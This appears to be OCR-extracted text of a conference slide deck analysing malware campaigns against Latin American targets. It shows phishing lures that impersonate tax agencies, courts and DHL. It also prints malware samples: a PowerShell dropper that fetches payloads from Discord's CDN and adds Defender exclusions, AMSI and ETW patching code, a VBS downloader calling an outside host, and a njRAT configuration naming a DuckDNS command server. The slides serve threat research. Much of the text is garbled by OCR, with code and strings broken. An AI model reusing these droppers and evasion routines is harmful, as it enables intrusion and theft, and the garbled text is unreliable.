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Dorkbot in Latin America

2012

VI ru S Covering the global

EXYTNNEALD threat landscape Blog  Bulletin VB Testi

Dorkbot: hunting zombies in Latin America

Pablo Ramos ESET

download slides [FDE)

Win32/Dorkbot appeared at the beginning of 2011, and in just a couple of months the volume of Dorkbot detections increased
until it became the malware with the most impact in Latin America over the whole year. This threat uses removable media and

Propiedades de DescargaMMS ﬂﬂ

General | Compaibiidad | Resumen|

Dl IDescatgaMMS

Subject [Poticias de Oran '! Yetana entran 4 cmbajada de Ecuador. | _—

Dat T Ay 0T TS T 07 =000 Alleged video of
From Mailodsfustsme som Julian Assange

Policias de Gran Bretafna entran a emba| de Ecuador. \ Ubicacin:
T amafioc 168 KB (172.032 bytes)

da de Ecuador a capturar a un .
iempo.. para ver mas detalles de @ noticia vea ef video Tamafo endiscor 168 KB (172,032 bytes) Executable file
with multimedia

| Clic en el enlace para ver el video de la noticia: | Creado: luries, 16 de abil de 2012, 12:47:18 typeicon

W e _videosiindex himi?Wikileaks Video Modificado: peves, 12 de abiil de 2012, 20:03.04
son marcas registradas. Derechos Reservados AD S A X
Ultima acceso; lines, 16 de abil de 2012, 1247:18

Policias de Gran Bretana entran a la el
operativo nunca antes visto en el ulti
de lo acontecido

Aributos: I~ Sélolectura [~ Oculto Opciones avanzadas. .

Aplicar




VORCIN

|

The Macromalware Rises

®
VI rUS Covering the global

[ITWEATY threat landscape Blog

Macro malware on the rise again

Users taught that having to enable enhanced security features is no big deal.

When | joined Virus Bulletin almost eight years ago, macro viruses were already a thing of the past, like porn diallers or viruses

Bulletin

sy A Virus Bulletin on @ No

2014
VIFUS.........

LAY RENE threat landscape Blog

VBA is not dead!

2014-07-02

Gabor Szappanos

Sophos, Hungary
Editar Martiin Granten

Bulletin

In Latin America botnet rises using macromalware
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ConCajeros iRecafqa -

Autométicos

Banamex Gana ®

Datos de la operaci‘on

Operaci'on: Retiro/Compra
Estatus: Exitoso
No. de autorizaci’on: 20562

"
(W] ) sestjonts wndocumens con woda 1 informacion mhre b operaci'on realisada.
(Pars ver ol docum ento s neceats tener matalado Microsoft Word )

Paga tu Tarjeta de Cr'edito en BancaNet, App Banamex, Cajeros Autom’sticos Banamex y Audiomatico

que la tasa do sucursal
por BancaNet o Audiomatco

Estado de Cuenta Declaracion No Solvente

1 message
Super de A acion Tributaria <solve Fni, Feb 20, 2015 at 8:12 AM
To: gmail.com

=BT

SUPERINTENDENCIA DE ADMINISTRACION TRIBUTARIA

Sus ultimas declaraciones no se procesaron correctamente:

Estimado contribuyente la Superintendencia de Administracion Tributaria. Se ha
percatado de que tiene , por Pago o en Exceso .

Le informamos que debera corregir sus declaraciones de forma clara y precisa de
acuerdo al nuevo Codigo Tributario.

Realice sus declaraciones siguiendo estas nuevas instrucciones.

Le enviamos el siguiente formulario, el cual debe presentar para actualizar su
situacion fiscal.

Link to the .doc
download site

Nuevo Procedimiento para presentar sus Declaraciones

Departamento de Finanzas 3 1P de A acion Tributaria
Tramites A l
Numero de

VB Tesi






:'V:Python malware

Trojan alleged JAVA
update

Video, camera and
audio capture
modules

€2014>

Autoit malware

Alleged government
PDF

Keylogger that
exfiltrates
information using
TCP

A 2015
. .\

Python malware

Alleged Courier
company

Keylogger that
exfiltrates
information using
HTTP

- Autoit malware

Alleged purchase
order

RAT with multiple
capabilities

Python malware

Impersonation of
government entities

Backdoor with
multiple
functionalities
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Operation Spalax

Year 2020
Targeting Colombian entities

Spear-phishing emails

O 0 0 O

Abuse of legitimate services like OneDrive
and MediaFire

<

Use of three different types of droppers

<

Final payloads: Remcos, njRAT and
AsyncRAT




Wed 1/15/2020 2:15 PM

LAIT

<notificacionesmultas@simit.org.co> Undisdosed-Redpients:
Motificacion De Foto Comparendo N? 2475569
0 This message was sent with High importance.

DIAN <correodirecto@diangov.co>

{ Ultimo Aviso ) Procederemos con una orden de embargo a las cuentas bancarias encontradas a sun

To
4] Comparendo 2475568... , o
e | 53 KB ﬁ This message was sent with High importance.

If there are problems with how this message is displayed, click here to view it in a web browser,
Click here to download pictures, Te help protect your privacy, Qutlook prevented automatic download of some pictures in this message,

] ] '— Estado de cuenta dian.rtf
=] s1ke

[ ] ]
o
SI m I t Bogota D.C.. 15 de enero de 2020
]
- [ ]

g . 100220021- 13210
Sistema Integrado de informacién sobre Consecutivo No. 2 668 641

multas y sanciones por infracciones de
transito.
Sefior(a)
SECEETARIA DE TRANSITO

ACTA DE INFRACCION DE TRANSITO

- Asunto: Procederemos con una orden de embargo a las cuentas bancarias encontradas a su
Orden de comparendo N® 2475569 p—— 9

nombre

[x] The linked Respetado contribuyente,
image cannat

be displayed. . . - . . . L
The file may Para lo dé su conocimiento, nos permitimos informarle que nuestro sistema de informacion

have been.. inteligente ha detectado que el estado de su declaracion de renta con la direccién de impuestos
y aduanas nacionales DIAN se encuentran en mora de 180 dias por este motivo se ha
determinado proceder conforme lo estipula la ley Art.823 hasta 843-2.

- -{‘;.- -.\ T
SENOR CONDUCIOR Procederemos una orden de embargo a las cuentas bancarias encontradas a su nombre.

Adjuntamos la informacion y su deuda a la fecha con una clave la cual es : dian

Por este medio se le notifica a usted que presenta un comparendo por foto multa, valor de la sancion § 975.800
(novecientos setenta v cinco mil ochocientos pesos)

COMPARENDO C701; Lev 4462 del 10 de septiembre del 2011: Conducir un vehiculo a velocidad superiorala ) L
- - No es necesario dar respuesta a esta comunicacién

maxima permitida

Hemos adjuntado su comparendo donde encontrara fotos hora v lugar donde se origino su comparendo

: COORDINACION DE CONTROL EXTENSIVO DE OBLIGACIONES
« EVIDENCIAS: FOTOS, LUGAR Y FECHA DE LA INFRACCION




Operation Spalax

& Malicious NSIS installers

Function function 1
Return

FunctionEnd

Function function 3
Return

FunctionEnd

Function function 5
SetFlag & 97
Push $RS
Return

FunctionEnd

Function function 8
StrCmp $1 "Power™ "" label B
Return
strCpy $R6 "374915"

IntOp $R6 $RE - "1"

IntCmp $RE "©" label B

SetOutPath $TEMP"\sqlweb\arrow"

File "x-gherkin.xml"

File "hopscotch.xml”

SetOutPath $APPDATA"\24\remind‘domains"
File "S@-mutter-system.xml”

File "org.gnome.desktop.ally.keyboard.gschema.

File "wbemDC.dl1l"
File "formrichtext.xml"
File "u2l2@@6.dll"
File "aspnetregbrowsers.exe"
File "lregdll.dll”
File "SERVERLib.dl1l1l"
File "SamplesTopicTypeFilter8@.xml"
SetOutPath $APPDATA"\post”
File "wvsamui.dll”™
File "pgort86.dl1l"
File "modell&.xml"
File "MFC8@GCHS.d11l"™
File "edbgps.dll”™
File "68.opends68.dll”
File "ildasm.exe"
SetOutPath $TEMP"\usr”
File "61.opends68.dll”
SetOutPath $TEMP"\AboutUs\errata”
File "defaultblack.xml”
File "x-gamegear-rom.xml"
File "15.opends68.dll”
File "g3fax.xml"
SetOutPath $TEMP
File "Bonehead"
File "ShoonCataclysm.dll"
SetFlag 13 687
StrCpy $R2 | "ShoonCataclysm,Uboats”
SetOutPath $TEMP
Exec "rundll32.exe $R2"
Quit
Return
FunctionEnd

=ml




Operation Spalax

& Malicious NSIS installers

& AgentTesla packers

Function function 1
Return
FunctionEnd
Function function 3
Return
FunctionEnd
Function function 5
SetFlag & 97

Push $RS
Botnrmn

static Classé6()

{
ClassS.A@Q?Ithgcqu(); XOR key Resource with encrypted payload
Class6.string_© =|"QrGcyCTEEIN™;
Classe.byte_@ = ClassZ.smethod_1(Class2.smethod_2(Class2.smethod_@("kd7INnm"), Class6.string_@));
Class6.string_1 = “BIIBIIBIIBIIBIIIIIIBIIBIIBIIBIIIIIIIIIIIIIIBIIBi;B;;BhB;;BIIBIIBI va||2]|1e54][ele|[[]]lelle][e][]]";
Class6.string_2 = Strings.Split(Classé6.string 1, "||", -1, CompareMethod.Binary); )
Class6.int_@ = Conversions.ToInteger(Class6.string_2[@]); e
Class6.int_1 = Conversions.ToInteger(Class6.string_2[1]);
Class6.string_3 = “OCUa-FaLkmg“_;l filename to copy the dropper in ZAPPDATAZ
Classé6.string_4 = “bAsDcmc-FnEij";l Mutex name
Class6.int_2 = Conversilons.Tolnteger(Class6.string_2[2]);
Class6.int_3 = Conversions.ToInteger(Class6.string_2[4]);
Class6.string 5 = Class6.string_2[6];
Class6.string_6 = Class6.string_2[5];
Class6.int_4 = Conversions.ToInteger(Classé6.string_2[7]);
Class6.int_5 = Conversions.ToInteger(Classé6.string_2[8]);
Class6.int_6 = Conversions.ToInteger(Class6.string_2[9]);
Class6.int_7 = Conversions.ToInteger(Class6.string_2[28]);
Class6.int_8 = Conversions.ToInteger(Class6.string_2[29]);
Class6.string_7 = Class6.string_2[30];
Classé6.string_8 = Class6.string_2[31];
Class6.int_9 = Conversions.ToInteger(Class6.string_2[32]);
Class6.int_1@ = Conversions.ToInteger(Class6.string_2[33]);
Class6.int_11 = Conversions.ToInteger(Class6.string_2[34]);
Class6.delegate® © = Class6.smethod_8<Class6.Delegate®>("kernel32", "ResumeThread");
Class6.delegatel_© = Class6.smethod_8<Class6.Delegatel>("kernel32"”, "Wow64SetThreadContext");
Class6.delegate2_© = Class6.smethod_8<Class6.Delegate2>("kernel32", "SetThreadContext™);
Class6.delegate3_© = Class6.smethod_8<Class6.Delegate3>("kernel32", "Wowe4GetThreadContext");
Class6.delegate4 @ = Class6.smethod_8<Class6.Delegated4>("kernel32"”, "GetThreadContext™);
Class6.delegate5 @ = Class6.smethod_8<Class6.Delegate5>("kernel32", "VirtualAllocEx");
Class6.delegate6_© = Class6.smethod_8<Class6.Delegate6>("kernel32”, "WriteProcessMemory");
Class6.delegate7_© = Class6.smethod_8<Class6.Delegate7>("kernel32", "ReadProcessMemory");
Class6.delegate8 @ = Class6.smethod_8<Class6.Delegate8>("ntdll", "ZwUnmapViewOfSection");
Class6.delegate9 @ = Class6.smethod_8<Class6.Delegate9>("kernel32", "CreateProcessA");

¥

File "Bonehead"
File "ShoonCataclysm.dll”
SetFlag 13 687

Stripy $H2I“Shoantataclysm,uboats=1
TEM

SetOutPath P

Exec "rundll32.exe $R2"™
Quit

Return

FunctionEnd




Malicious NSIS installers
AgentTesla packers

Autolt droppers

Function function 1
Return
FunctionEnd
Function function 3
Return
FunctionEnd
Function function 5
SetFlag & 97

$G = DECRYPT PAYLOAD
RUN_PAYLOAD ()
Endfunc

Func RUN PAYLOAD()
INJECT PAYLOAD (3G,
Endfunc
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Push $RS
Botnrmn
static @)
{ XOR key
Classsnawjlan:gcqu(); Resource with encrypted payload
.string_®© =|"QrGcyCTEEIN";
byte @ = .smethod_1( .smethod_2( .smethod_@( "kd7INnm"), .string_8));
.string_1 = "e[|e[|e||e[]e[[[[[lel[e[lellel[I[IIIITITIIlelle[TelTelle[le||ellel|va|l2|l1654|]e|lel[|[|le][e[le|]]]";

— smethod_8< Delegate5>("kernel32", "VirtualAllocEx");

= smethod_8< Delegate6>("kernel32", "WriteProcessMemory");
= smethod_8< Delegate7>("kernel32", "ReadProcessMemory");
— smethod_8< Delegate8>("ntdll"”, "ZwUnmapViewOfSection");
— smethod_8< Delegate9>("kernel32", "CreateProcessA");

File "Bonehead"
File "ShoonCataclysm.dll"
SetFlag 13 687
StrCpy $R2 | "ShoonCataclysm,Uboats”
SetOutPath $TEMP
Exec "rundll32.exe $R2°
Quit
Return
FunctionEnd




Operation Red Octopus

O 0 & O

<

Year 2022
Targeting entities in Ecuador
Spear-phishing emails

Abuse of legitimate services like Google
Drive and Discord

UAC bypass by executing the Windows
Standalone Installer (wusa.exe)

@ Modify behavior of Windows APIs

Final payloads: Remcos and AsyncRAT




Johana undisclosed-recipients:; £Lom -
PROCESO JUDICIAL EMPRESARIAL ADMINISTRATIVO LLAMADO 1 FISCALIA GEMERAL

i If there are problems with how this message is displayed, dick here towiew itin a web browser,
Click here to download pictures. To help protect your privacy, Outlook prevented automatic download of some pictures in this message,

CORDIAL SALUDO|

Medio de la presente le comunicamos que usted mantiene un TITULO EJECUTIVO LEGAL pendiente v siendo asi una DEMANDA JUDICIAL

Le hacemos llegar esta notificacion

Juicio Ho:

C agillero Judicial No: 29
Casillero Judicial Electronico No:
Fecha de Notificacion: 01/julio 2022

A gt
Descarga de documentos clave: 7070

SO JUDICIAL EMPRESARIAL ADMINISTRATIVO LLAMADOD 1 FISCA

drive.google.com/uctid=1E4dpSPupD4QCrxgly

Empezar

FISCALIA GENERAL DEL ESTADO
| T ]

EGUADDH Mostrar todas las descargas

Saludos Cordiales,




Operation Red Octopus

thello = "C:%wProgramDatasi.log':
Invoke-WebRequest "https:/fcdn.discordapp.comfattachments/9828772824242709872,/00918781164095658614/c.64" -Outfile fhello;
frworld = Get-Content $hello;
[Reflection.Assembly]::Load{ [Convert]: :FromBasefd4string(fworld)) | Out-Mull;[C.Class1]::Run();
Add-MpPreference -ExclusionExtension “exe"
-ExclusionPath “"C:%\ProgramData”,”fenv:TEMPY","feny: LOCALAPPDATAY"
-ExclusionProcess "InternalAnalytics.exe”;
#f = "C:%WProgramDatahutils. zip";
1t {-not{Test-Path -Path %f -PathTy Leat)){
try {
$s = [System.Text .Encoding]::UTF8 GetString(
[System.Convert]:::FromBase&dString(
"aHRBCHMEL Y9 ZGAuZG Lz Y 29y ZGFwe C5 Jb28 wi XREY WHobWyu dHMvOTk yMT cAMTUXNT 2z MTI ANJA 1Lz kEMIEA0TUSNIIxMTM200AZ Ny 2 IbnR1cmShbEFUY WS Gl c3ppcA=="17;
Invoke-webRequest $s -Outtile $t;Expand-Archiwve $+ -DestinatlonPath "C:%ProgramData® ;Remove-Item §Ht
tcatch{}
Jelse{};
Invoke-Item -Path "C:%ProgramDataiInternalAnalytics.exe';Remove-Item $hello;



Operation Red Octopus

=] [ EER 1,512 F. 612 E 1316 Windows Update Standalor...
~| N cmd. exe 4 268 E. 4,232 K 816 Windows Cormmand Frocessor

conhost. exe 7224 K 17884 K. B1B4 Console Window Host
I anager. exe 1,065 F. 4624 K. B1Z8

| i Int&nalytics
= cmd. exe 4 512 K 4 428k 1792 Windows Command Processar

LN powershell. exe 22012 K 28832 k. 7028 Windows PowerShell

=




Operation Red Octopus

8 namespace Cf

2 // Token: ex@2eeee82 RID: 2
18 public static partial class Classly
11 // Token: @xB6eeaa63 RID: 3
12 private static wvoid paA{)}{
13 IntPtr processHandle = new IntPtr{-1};
14 byte[] array = new byte[8];
15 if (IntPtr.5ize == 4}{
16 string[] array2 = “B8,57,088,87,808,02,18,88".5plit(new char[]{"',"}};

array = new byte[array2.Length];
for (int 1 = @; i1 < array2.Length; i++)
i
array[i] = Convert.TeByte(array2[i], 16);
}
telse{
string[] array3 = "B8,57,988,87,88,C3".5plit(new char[]{","}};
array = new byte[array3.Length];
for (int j = @; j < array3.Length; j++)

i
array[j] = Convert.TeByte(array3[j], 16);
}
IntPtr imtPtr;
try{

intPtr = (from ProcessModule x in Process.GetCurrentProcess().Modules

select x).FirstOrDefoul t<ProcessModule>(}.BaselAddress;
Ycatch{intPtr = IntPtr.Zero;}
if (intPtr != IntPtr.Zero}{
IntPtr exportAddress = Classl.GetExportAddress{intPtr, “AmsiScanBuffer™};
IntPtr intPtr2 = new IntPtr(array.Length};
uint newProtect = @U;
Dynavoke.NtProtectVirtualMemory(processHandle, ref exportfAddress, ref intPtr2,
Marshal.Copy(array, @, exportAddress, array.Length});
uint num = @U;
Dynavoke . NtProtectVirtualMemory(processHandle, ref exportAddress, ref intPtr2,

N I W ¥ W ¥ oy Y T ¥ Wy W WY oy Iy 0 6 oy O Oy Ty o o el
S T~ R U R v I (TR W QR S WY Iy SR P~ T - I T 5 R O Y Ry I T~ T e s TR

HAEGRE R
T e
]
!
!

where Encoding.ASCII.GetString({Convert.FromBasesdstring("YWlzasskbow=")}.Equals({Path.GetFileName(x.FileName}, StringComparison.OrdinallgnoreCase)

64U, ref newProtect);

newProtect, ref num);




Operation Guinea Pig

@ Year 2023

@ Spread to different countries including
Mexico, Peru, Colombia and Ecuador

@ Impersonate a well-known package
delivery company

@ Abuses of legitimate services ngrok.io

@ Abuse of VBS and PowerShell to execute
the malicious activities

@ Final payload: AgentTesla RAT




Atencian al cliente de(DHL) undisclozed-recipients: 0 37672023

NOTIFICACION DHL EXPRESS DE PREARRIBO DE ENVIO POR - BROKER Guia 8331724181 o

T E confirrmacidn de la direccidn de entrega.jpg.xe -
1 52 KB

Ay —

LXFPRESS

buen dia amigo.
o dehido a una direccion de entrega incorrecta stari; viar sus productos a una direccion incorrecta,
nto para confirmar la dire 1y, si la direccig cta, hay spacio en blanco en el documento que debe

ian de entre
iemela lo antes posible para que podamos continuar con la enfrega,

DHL USa v Latinoam erica

Rastree su envio con cualquiera de nuestros canales digitales:

Saludos

reoy logistica

ORRECD ELECTRC LDHL @ ENTREGA.COm




kil rer Bsser 3 B W Fiber(1.0.000
/fanwork\tavellah2823\LATAMATR_Q1_Operacion_TBD\payloads_n_stuffi\Desktop\@eal_

Systern.Private. Carelib (5.0.0.0) Sestern (4.0.0.0
// Fiber, Version=1.8.8.8, Culture=neutral, PublicKeyToken=null

MicrosoftMizualBasic (10.0.0.0 Systernml (4.0.0.0)
el (N0 ' sua|Basic (10.0.0.0
Fiber (1.0.0.00
& Fiberdll Fiber.dll using
bE= pE b= PE 7 using
P =-B Type References P =B Type References
b B References P =B References using
D’ Resources b’ Resources using
b} - P} - using
4 {} Fiber P A} dnlib using
4 % Hoprne @02000008 B} dnlib.DotMet
b Base Type and Interfaces P} dnlib.DotMet.Emit
P Derived T'_-,-'pes B {]‘ dnlib.DatMet, k4D
8 Homel) : void @OE00000F P L} dnlib.DotMet.Pdh
@ AAI(string) ¢ void @OGO00010 P {} dnlib.DotMet.Pdb.Dss
B Optical @02000009 P {} dnlib.Dothet.Pdbbdanaged
A . Topls @02000008 b {} dnlib.DotMet.Pdb.Partable
r Base T}-’pe and Interfaces b {]‘ dn|ih.DDtNEt.de.S}’r‘nhD|s
P I Derived Types P {} dnlib.DotMet.PdbivindowsPdb
Tools( :void @O06000012 P {} dnlib.Dothet.Resources
aflntPtr) ¢ int @O0600001C P L} dnlib.DotMetWriter
ailntPtr, int[]) : bool @OG000014 P L} dnlibo
ARty int]) : boal @OE000015 B {} dnlib.PE _
aflntPtr, int) ¢ int @OB000074, P} dnlib.Threading Debuggs bl :
afstring, string, byte[], bool) : bool @OG00001E P} dnlib.Utils
allntPtr, int, ref int, int, ref int) : bool @OG00001S P{} dnlib.W32Resources
aflntPtr, int, byte[], int, ref int) : hool @ 06000019 4 {} Fiber
allntPtr, int, int, int, int) ; int @OG00001E 4 . Howe @02000000
a(string, string, IntPtr, IntPtr, boal, uint, IntPtr, string, ref To b Base Type and Interfaces
Andelbyte[]) : bool @O60000D Derived Types

bilntPtr, int[1) : bool @OB000076 Hormed s woid @I600004E
B{IntPtr, int[]) : bool @OG000017 eM1TBaxawt2 OLKEFC30  Horne @O6000058

A 0200000 ExBlvi0V3kwdtiguiy(object, object) : woid @ 06000052
a 002000000 fp 2 0p O uswBEevr3{object) : object @JG000057
qCsxpedhrms Oudys]gul{object) : object @IB000056
ruTAUf O gPs g2 uadiobject, object) : void @O0a000051
rL1f 1 000 M p P MduH{object) @ bool @O6000055
SLgBhJ0CT: N \WWhwiarm Spwiobject) : bool @OE000054
Tichy03cDULMP2n0lf{object)  wvoid @OG000059
Tn3ml500MEIATF TUPA ohject, object) : woid @O6000053
Walfobject) : void @OG00004F
We BEQirmtTOBKE2Le Qfobject) : object @O06000055
Whxp 03 PEWAL S UGS (object) : bool @O0G000050
ZFDOFubB ik MdbWYI0  bool @O600005.4
B¥MwZ CraABtaccVsCg : Home @4000023
= Optical @0200000E

P *z Tools @02000008
P{} Fiberhdy 100 % |~
P L} Fiberhty.Resources
P A} Microsoft.Codednakysis
P} Systemn
P L} SpsternRuntire.CompilerServices

i k=

f/f Timestamp: <Unknown> (ABCCALE3)

I & s

.Diagnostics;
using 1. Reflection;

. Resources;
em.Runtime.C

1. Runtime.Interol

1. Runtime.Versionir

I | el
b pa = @ W o
Wwowwwwmowinunn

[assembly:

11

o 0g I'|_I

)]

[assembly: k(" .NETFramework,Version=v4.8", Framew
[assembly: Guid(“79172B13-EDBA-4896-B725-8E92B730B2BA™)]
[assembly: AssemblyFileVersicn("1.8.8.8")]

[assembly: iguration{"Release™}]

[assembly:
[assembly:
[assembly:
[assembly:
[assembly:
[assembly:
[@ssembly: RuntimeCompatibility(WrapMonExceptionThrows = true}]
[assembly: L 1 L Attribute.DebuggingModes.Default | Debu
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Analyzer




riptControl)Act

d("BES9F1D5-1FBE-11D@-8FF2
£

' rin:
HUt jmmBDhufNHNmMDBm
30y ph

CHeuYfdfcl = Create

p PgitGmgtRCba
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T U T in LATAM

Reconnaissance

Weaponization

“ Motificacion fiscal a su nombre Agradecernos pronta confirmacion de recibido sumado a ello diligenciar el formulario dentro del adjunto 2.,

e Targeted users:
Enterprise and
government
sectors

e Deep

Archivo  Ordenes  Herramientas  Favoritos  Opciones  Ayuda

Sfadir  Extraer en  Comprobar War Elirminar  Buscar  Asistente  Informacidn 7 ; Bracerals

Delive ry 2022

Mambre

de la denuncia fiscal presentada en su contra MUMC Murnero Unico de Moticia Criminal ESkdavhs

Sisterna Penal Oral Acusatorio Motificacion de requerimiento fiscal a su nombre por admision de denunciaawhs *

understanding
of potential
victims

Exploitation &

Installation

Example of a compressed archive that might received a victim

Command and
control

Actions on
objectives




T U T in LATAM

Reconnaissance

Weaponization e RATs the
preferred type of

malware

e Abuse of free
file-hosting
services such as

Delivery

Google Drive or
One Drive

e Misuse of
services like
Discord and
Archive.org

Exploitation &
Installation

Command and
control

Actions on
objectives

© /4 archive.org/details/@dejesus573 B - 9%

BLOG PROJECTS HELP DONATE CONTACT JOBS VOLUNTEER PEOPLE

dejesus573 s
archive_org Member

UPLOADS POSTS

E WEB L"_] BOOKS H—H VIDEC

REVIEWS  COLLECTIONS WEB ARCHIVES

DATE ARCHIVED iz =
Media Type
[ texts 6
DLL RegSvcs Runpe New DIl Install Util cacaca DLL
Year Oct 14, 2021 Oct 14, 2021 Oct 14, 2021 Oct 3, 2021 Sep 29, 2021
® % | = %% |- | & |®

[] (No Date

Topics & Subjects ]

Rumpe




T U T in LATAM

Reconnaissance

Weaponization

Delivery

Exploitation &
Installation

Command and

control

Actions on
objectives

et

a 160285009.docx o

.docx File

e The main
mechanism used
is email

Campaigns are

Notificacion por demanda

Cordial saludo

Asunto: Demanda civil con orden de embargo

Yo MARCELA PATRICIA CERBALLOS OSORIO, abogado de |a parte demandante, con la cedula ciudadana 1.075.227.003 de Bogota, Cundinamarca, ndmero de tarjet
abogado: 214303 me permito de manera respetuosa informarles que se ha iniciado en su contra un proceso de Demanda Civil, embargo de hienes y cuentas by,
que no hemos recibido ningdn tipo de respuesta de su parte me permito de notificarle y enviarle el proceso detallado que se adelanta,

highly localized -

in different
countries and
impersonate
recognized
entities in each
territory

I s
Fwd: COMUNICADO SERVICIOS DUBLIN C.A - Carabobo
0 Click here to download pictures. To help protect your privacy, Outlook prevented automatic

COMUNICADO SERVIC...
P ] 2 KB

Date: mié, 13 ene 2021 alas 17:44
Subject: Fwd: COMUNICADO SERVICIOS DUBLIN C.A - Carabobo

To: I

Forwarded message
De: Amalia Franco <amaliafdepool@hotmail com>
Date: mié, 13 ene 2021 alas 2:21
Subject: COMUNICADO SERVICIOS DUBLIN C.A - Carabobo
To: Amalia Franco <amaliafdepool1966@ gmail. com=

\JS
g

Absolute
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Exploitation &
Installation

et

Use of
downloaders
and droppers,
particularly in
PowerShell and
VBS

Modifications
over system
components,
such as

AmsiScanBuffer
and
EtwEventWrite

Campaigns often
have long
propagation and
infection chains

Obfuscation at
multiple levels

=1 /1 T
=
(j+H]
=1 /1 T

strCommand =

"Powershell.exe

C!‘ = S

OxMfOarO&rieraCracrocracraCrocraCracracragriérazrderderdzroerdzer izrierdzriozriériaéracrasé
GerOxriériérocracroCroCrocrocracrocroCcraerdéraeraéraéraerasrasrGéraéraeraeraaraaracr
OxrfOeriariérocracrocraCraCrocraCraCracraCroCracraCrigéragrierderaeriéracracrocracracr

ErGCroCraCracrocraCracrocroCriéraaragraéraéragéraaraéraéraérograéraaragracra
EroCrocracracrocracracracrocrioéraérderozrizrdzrizrizrizrizrozrozriéraéracra
ErocracrocraCrocrocracrocraCraerGarGaéraéraeraarazraerGéraéraeraéraéraéracra
OErGCraCroCraCrocrocraCracrocrocrocracrocraéraéraerderGeraéracracrocracracra
etObject("new:F9350C22-1CF@-1108-ADBS -8BCA4FDS8ABE"™ )

GEFGEFOEFGEFGEFGEFDEFGEFGE roer ﬂéFﬂéFﬂéFﬂérﬂéFﬂérﬂéFﬂérﬂérﬂérﬂérﬂérﬂérﬁ@rﬂéFﬂérﬂérﬂéFﬂéFﬂérﬂérﬂérﬂérﬂérﬂérﬂé?ﬂé 2022

ae
ae

-noexit $cl="{(New-Object Net.We'; $cd="bClient).Downlo"'; $c3="adString(’

Executmg Powershel/ command in a VBS scrlpt

ErQérder izl dzrazrazrazrazraz=roerazro
rae
raerazrazraéraéracracraaraar el der

EBrOErO&rGarGerO&rtaraaraéraéro&raéraéraarag
Eraéraar Gzl Gzl Ozl el dzl Gl p-Fo=ramgidarierag
ErOErQzrG=raeraériaéraéraér (, ArO&rag
eraérazrazrdéraérocrocros '/ D TOErag
RN
."\;‘(/\»” v
.
; ~ LuxPlague

1l

IntPtr procAddress2 = Class@mMAIN.GetProcAddress{intPtrz,

if (procAddress2 == IntPIr.Zero)
{
throw new Exception();
¥
byte[] array;
if {IntPtr.5ize == 8)
{
array = new byte[]
{
195
b
¥
else
{
byte[] array2 = new byte[3];
arrayz2[8] = 194;
arraw2[1] =
array = ar rdwi
¥
uint uint

p

larshal.Copy(array, 8, procAddress2, array.length);
lass@mAIN.VirtualProtect(procAddressZ,

"EtwEventWrite™) .

lass@MAIN.VirtualProtect (procAddress2, (IntPtrjarray.lLength, 64U, out uint };

{IntPtr)array.Length,

uint , out uint );

Evasion technique modyfing the EtwEventWrite Windows

ErOerag
MOerOzroéraéroéraéraéraérasraeraéraérag
Oeroérac

"https://www.up-80.com/1i/86192/kz1shirsoz84. jpg’

‘e
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T U T in LATAM

Reconnaissance

Weaponization

Delivery

Exploitation &
Installation

Command and
control

Actions on

objectives

et

e Abuse of DDNS
services, with

DuckDNS and
No-IP

p ldj::_z—_a—__s—_'_'ué :1;3-_ ; *marzol.duckdns.org”;

public static string port - 4433";

p ld:::_z-_a__:»:'_'@ :;g_.s: ame = "186c22d3T2364c543";
public static string splitter = "QISAN";

i |d::_3-_a__:~-__'|g t-:-_'_T'.a'r:‘- = "T11BTiBDQWQ=";

p ldi::_z—_a—__:,-_'_w :;'_*_:1 = "@.7NC";

p |d::_3-_a-__utex__$:f|:|:e*~ = null;

Discordia
2022

Example of a njRAT configuration seeing in one of the samples

Malwares main logic, manipulated a command received from viernes9.duc

is-ready™,

maplitt]{v

omIpec %

: zshutdown Jr ft O

fo shutdown f= /t O

on malwarepathh)y
alledry:




in LATAM

e Steal personal
and financial

information.

Actions on
objectives

et

Example of a njRAT configuration seeing in one of the samples
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Operation Jacana

@ Year 2023
@ Government entity in Guyana

& Specially crafted emails based on
geopolitical situation

& Lateral movement across the victim’s
network

@ Undocumented malware that we have
named DinodasRAT, written in C++

& More like a cyber espionage operation




New generation
of bankers?

@ Year +2021

& Developed with Microsoft .NET
framework instead of Delphi

@ At least two new families documented
since 2021

@ The traditional operators are testing
different programming languages or that
new operators may be appearing with
their own toolsets?






Conclusions

Obtain financial profit from the operations
Changing their techniques
More than one group

Improve cybersecurity defenses
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Thank you.



Questions?
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